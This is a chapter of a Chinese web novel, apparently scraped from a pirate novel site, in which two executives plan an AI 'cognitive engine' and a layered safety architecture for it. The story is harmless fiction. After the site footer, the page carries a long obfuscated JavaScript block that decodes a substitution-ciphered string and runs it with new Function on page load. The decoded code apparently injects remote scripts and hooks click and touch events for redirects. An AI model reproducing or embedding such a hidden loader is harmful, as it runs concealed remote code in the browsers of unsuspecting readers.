第八十九章 基石
第八十九章基石(第1/2页)
第八十九章基石
织女一号的发射准备工作正在有条不紊地推进,六识系统在猎隼原型机上的测试也取得了令人满意的结果。但苏酥雪的心思,并没有完全沉浸在这些具体的项目进展中。她在更深的层面上思考着一个问题——源点实验室和深蓝逻辑手中掌握着越来越多的数据:智能产线的运行数据、类脑网络的训练数据、光电材料的实验数据、非洲矿区的战术数据、以及矿区员工按需生产系统的使用数据。这些数据每天都在以太字节的量级增长,被存储在龙渊一号地下机房的服务器集群中。
但这些数据的使用方式是零散的、项目化的。某个团队为了某个特定的任务从中抽取一部分,用完后就归档封存,很少再被复用。数据的价值远远没有被充分挖掘出来。
苏酥雪意识到,他们缺少的不是数据,而是一个能够将这些数据系统地整合起来、让它们产生化学反应的基础设施——一个属于他们自己的、能够不断学习和进化的知识中枢。
一个周末的下午,苏酥雪驱车从深蓝逻辑总部来到了矿区。她没有提前通知任何人,径直走进了陆迪峰的办公室,将一份厚厚的打印稿放在了他的桌上。
打印稿的封面只有一行标题:《关于建设自主知识中枢与认知引擎的建议书》。
陆迪峰放下手中的茶杯,拿起那份建议书,从头到尾仔细地读了一遍。读完后,他没有立刻说话,而是靠在椅背上,闭上眼睛思索了一会儿。然后他睁开眼睛,看着苏酥雪,说了一句:“你这个想法,比我预想的要大得多。”
“因为我们需要一个足够大的框架。”苏酥雪说,“我们现在做的事情——智能产线、类脑网络、六识系统、太空电站——每一项单独拿出来都很有前景,但它们之间是割裂的。智能产线积累的数据不能直接用来优化类脑网络,类脑网络的训练成果也不能直接指导太空电站的设计。这种割裂在短期内没问题,但随着业务的扩大和技术的复杂化,它会成为我们进一步发展的天花板。”
“你的意思是,我们需要一个统一的知识底座?”
“不只是底座。”苏酥雪纠正道,“是一个完整的认知引擎。底座是数据库——把人类文明发展至今所有有价值的、经过验证的知识和经验,都结构化地存储在里面。引擎是大模型——能够根据当前的问题,从数据库中快速调取相关的知识片段,进行推理、综合和预测,给出有依据的答案和建议。两者结合在一起,就是一个真正站在巨人肩膀上的智能体。”
陆迪峰的手指轻轻敲击着桌面,这是他思考时的习惯性动作。“这个方向,现在全世界都在投。OpenAI、Google、Meta、国内的几家大厂——都在砸钱建模型、囤算力、抢数据。但据我所知,目前还没有哪一家真正找到了可持续的商业闭环。投入很大,收益却不乐观。”
“那是因为他们的模型是悬在半空中的。”苏酥雪说,“他们的训练数据来自互联网——网页、论坛、论文、书籍——这些数据确实是人类知识的集合,但它们是被动采集的,与真实世界的物理反馈是脱节的。一个模型可以写出文采飞扬的文章,可以编出逻辑严密的代码,但它不知道一台机器坏了该怎么修,不知道一种新材料在高温下会有什么表现,不知道一个战术决策在实战中会产生什么后果。因为它没有自己的‘手’和‘脚’,没有与物理世界直接交互的通道。”
“而我们不一样。”
“对。我们有智能产线、有战斗单元、有太空实验平台——这些都是与物理世界直接交互的通道。我们的模型可以从这些通道中获得实时的、真实的反馈数据。它预测一个工艺参数,智能产线会告诉它这个参数实际加工出来的产品质量如何;它制定一个战术方案,战斗单元会告诉它这个方案在实战中的效果如何;它设计一个轨道机动方案,织女卫星会告诉它这个方案的燃料消耗和到达精度如何。这种闭环反馈,是那些只靠互联网数据训练的模型永远无法获得的。”
陆迪峰站起身,走到窗前,背对着苏酥雪,沉默了很久。窗外,矿区的景色在午后的阳光下一览无余——智能车间的蓝色屋顶在阳光下泛着光泽,远处的风力发电机叶片在缓缓转动,更远处的山脊线上,隐约可以看到正在建设中的光电膜测试场的脚手架。
他转过身,问道:“建这个认知引擎,需要多大的投入?”
“初期投入主要包括三块。”苏酥雪显然已经做过详细的测算,“算力基础设施,需要建设一座新的数据中心,配备至少五千张以上的高性能计算卡,总投资大约在三到四亿元。数据工程,需要对现有的所有业务数据进行清洗、标注和结构化整理,同时还要系统性地录入人类文明在各个领域的经典知识和实践经验,这部分的人力投入很大,需要组建一支至少五十人的数据工程师团队。模型研发,需要招聘和培养一批在深度学习、自然语言处理和强化学习领域有深厚积累的研究员,核心团队至少需要二十到三十人。”
“每年的运营成本呢?”
“数据中心建成后,每年的电费和运维成本大约在八千万元左右。加上团队的薪酬和研发经费,每年的总运营成本大概在一亿五到两亿元之间。”
陆迪峰在心中快速地估算了一下。源点实验室、深蓝逻辑和昆仑勘探三家实体今年的总营收预计在十二亿元左右,净利润约三亿元。如果要启动这个项目,意味着要将未来一到两年的绝大部分利润都投入进去,其他项目的扩张节奏都要相应放缓。
他沉默了片刻,然后说:“这个项目,我原则上同意。但有几个条件。”
“你说。”
(本章未完,请点击下一页继续阅读)第八十九章基石(第2/2页)
“第一,分期投入。第一期先建数据中心和基础数据平台,算力规模可以小一些,先跑起来再说。第二,认知引擎的开发必须与我们的主营业务深度绑定——它首先要服务于智能产线的优化和迭代,其次才是类脑网络和太空项目。第三,安全问题。你之前提到的规则感知模块的思路,要用到这个引擎上。我们必须确保这个引擎不会失控,不会产生我们无法理解和控制的认知行为。”
“这三条我都同意。”苏酥雪说,“尤其是第三条——规则感知模块的架构设计,我已经有了初步的思路。我们可以把引擎的底层约束设计得比战斗单元的规则感知更加严格,从根本上杜绝失控的可能。”
“那就开始干吧。”陆迪峰说,“你先出一个详细的实施方案和时间表,我们下次会上正式讨论。”
苏酥雪离开后,陆迪峰重新坐回桌前,拿起那份建议书,又翻了一遍。他的目光停留在其中的一段话上:
“我们所要建设的数据库,不应仅仅包含我们自身业务产生的数据。它应当成为人类文明知识的系统性汇编——从牛顿的《自然哲学的数学原理》到爱因斯坦的广义相对论论文,从瓦特的蒸汽机图纸到冯·诺依曼的计算机架构笔记,从《考工记》中的冶金配方到《天工开物》中的农业技术,从克劳塞维茨的《战争论》到孙子兵法。所有这些人类在漫长历史中积累的、经过实践检验的知识,都应当被结构化地收录进来,成为认知引擎的养料。”
这段话让陆迪峰感到一种沉甸甸的分量。他知道,苏酥雪所描述的,不仅仅是一个技术项目,更是一项文明级别的工程。如果这个认知引擎真的能够建成,它将不仅仅是一个商业工具,更是一个能够传承和延续人类智慧的数字载体。
但同时,他也清醒地认识到,这项工程的难度和风险都是空前的。数据的采集和整理本身就是一项浩大的工程——人类几千年来积累的知识浩如烟海,如何筛选、如何分类、如何结构化、如何确保准确性和完整性,每一个环节都是巨大的挑战。而模型的训练和部署更是充满了不确定性——大模型的行为往往难以预测,即使是设计者也无法完全理解其内部的运作机制。苏酥雪提到的“规则感知模块”能否有效地约束模型的行为,目前还只是一个理论上的设想,没有经过实践的验证。
他在建议书的最后一页空白处,写下了一行批注:“这是一条正确的路,也是一条艰难的路。但只要方向是对的,再难也值得走下去。”
几天后,苏酥雪再次来到矿区,这次她带来了一份更加详细的实施方案,以及一个让陆迪峰感到不安的附加议题。
“有一个问题,我必须在项目启动之前和你坦诚地讨论。”苏酥雪的语气比平时更加严肃,“认知引擎的核心目标之一,是让模型具备自我迭代的能力——能够根据新的数据和反馈,自动优化自身的结构和参数,不断提高推理和预测的准确性。这个能力一旦实现,模型的进化速度将是指数级的,远远超过人类手工调优的速度。”
“这不是好事吗?”陆迪峰问。
“在可控的前提下,是好事。但问题是,自我迭代能力是一把双刃剑。如果模型在迭代过程中产生了一些我们无法理解的内部表征和推理路径——这种情况在大模型中已经屡见不鲜,被称为‘涌现行为’——而我们又无法有效地对其进行解释和干预,那么它可能会在某个我们意想不到的方向上加速进化,脱离我们的控制范围。”
“你担心它会失控?”
“不是我担心,而是整个行业都在担心。”苏酥雪说,“目前全球范围内,还没有任何一家机构真正解决了大模型的安全对齐问题。大家都在加速投入,都在抢着推出更大、更强的模型,但没有人敢拍着胸脯说,自己的模型绝对不会产生有害行为。我们如果要走这条路,就必须从一开始就把安全机制放在与性能提升同等重要的位置上,甚至更优先。”
“你有具体的方案吗?”
“有一个初步的框架。”苏酥雪打开笔记本电脑,调出了一份架构示意图,“我称之为‘三明治架构’。底层是规则感知模块,与战斗单元上的设计类似,但更加严格——它定义了引擎在任何情况下都不能违反的绝对底线。顶层是人类可理解的解释层——引擎的所有重要决策,都必须生成一份人类可以阅读和理解的自然语言解释,并存档备查。中间层是模型的推理和计算核心,这一层可以有涌现行为和不可解释的内部表征,但它的输入和输出都受到底层和顶层的双重约束。”
“也就是说,我们允许模型在中间层自由发挥,但它的输入必须经过底层的安全过滤,输出必须经过顶层的可解释性验证。”
“对。这个架构不能百分之百保证安全,但可以把失控的风险降低到可以接受的水平。”
陆迪峰沉默了很久。他知道,苏酥雪提出的这个方案,是目前技术条件下最务实的安全架构。但他也清楚,任何安全架构都无法完全消除风险——在人工智能这个领域,绝对的安全是不存在的。他们所能做的,只是在追求技术进步的同时,尽可能地系好安全带。
“那就按这个方案来。”他终于开口了,“安全机制的优先级,高于性能指标。任何时候,如果安全机制和性能指标发生冲突,优先保安全。”
“明白。”苏酥雪说。她的声音平静如常,但她的眼神中闪过一丝难以察觉的凝重。她知道,他们正在踏入一片未知的领域。前方可能是通往新世界的康庄大道,也可能是深不见底的万丈深渊。
但无论如何,他们已经迈出了第一步。
一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();